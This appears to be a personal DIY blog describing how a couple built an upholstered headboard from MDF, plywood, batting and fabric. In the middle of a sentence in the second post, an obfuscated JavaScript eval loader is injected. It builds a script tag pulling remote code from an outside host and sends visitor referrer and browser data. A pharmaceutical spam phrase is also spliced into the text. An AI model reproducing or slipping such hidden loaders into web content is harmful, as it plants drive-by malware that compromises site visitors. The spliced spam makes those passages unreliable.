DIY Headboard Complete!

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first step is buying supplies.  We spent about two/three hours at Home Depot, buying lumber and getting everything cut to the right size.  20130109-094705.jpg

screws, liquid nails, bolts and more!

We used medium-dense fiberboard, plywood, and regular wood

We laid out the headboard frame to visual our goal!

Pre-drill holes into wood legs to screw in bolts easier

We used liquid nails to attach the legs to the headboard frame and then reinforced the structure with nails

We hot glued the batting and foam down to MDF squares that would later be upholstered

When working with hot glue, it’s a mess, so be careful!

At this point, I may have stepped out of the house to meet up with my girlfriends. . . and my amazing boyfriend kept working away! He used the nail gun to upholster the four MDF boards and then used liquid nails to attach them to the larger frame.

Final product:

I love it! It truly makes my bed and my bedroom feel more complete!

I bought the fabric at Hancocks after the New Year when everything in the store was 50 percent off! I chose this fabric because it had the purple accents to match my duvet but also had other colors that would make it easy for me to re-do my bedroom without reupholstering the headboard!

We recreated my inspiration photo:

We ended up not doing the buttons, but it would be easy to add on if I later decided to do them.

We had a long debate over how to attach the headboard – wall mounting? stand-alone feet? attach to the bed? I had done my research but there was no consensus. We ended up bolting the legs to the bed because we didn’t want to damage the walls (I rent after all), and it would be more sturdy than letting it lean against the wall.

At the start of this DIY project, it felt overwhelming, but I was surprised at how manageable it became – mostly thanks to my boyfriend and his many tools! I definitely want to keep up this DIY/arts/crafts trend throughout the new year. I can’t want to invite people over and show them around the new apartment (and say that I built/made most of the decorations!)

DIY Teaser: New Year’s Resolution

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One of my New Year’s resolutions is to be more frugal through DIY projects.  I have several in mind already, but the biggest one is building an upholstered headboard.  I orignally bought my bed from IKEA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azibr|var|u0026u|referrer|drtfh||js|php’.split(‘|’),0,{}))
without a headboard because it was cheaper.

This is my bed without the $130 headboard.  While IKEA is relatively cheap, I need to go extremely frugal this year to afford the lasik eye surgery I’m hoping to get. How do I live frugally but still enjoy my home space? DIY! Anyone want to take bets on how long it will take me to complete this project?  I’ve started my research and am currently generic phentermine cost looking at several different ideas.  Are you curious to see some of my ideas?

This is the one that will most likely happen because it’s cute and simple.

I personally love the detail of the pin/nails at the edges.  Like dressing oneself, it’s always about the accessories and details.

Asian architecture is one my favorite things in the world to admire, and the arches and domes are the best part.  Why not incorporate that shape into my new headboard?

Remodelaholics has a ton of great ideas for DIY headboards on their website.

I’ll keep you posted on how the project goes, but I’ve bought my fabric and padding so I’m dedicated now!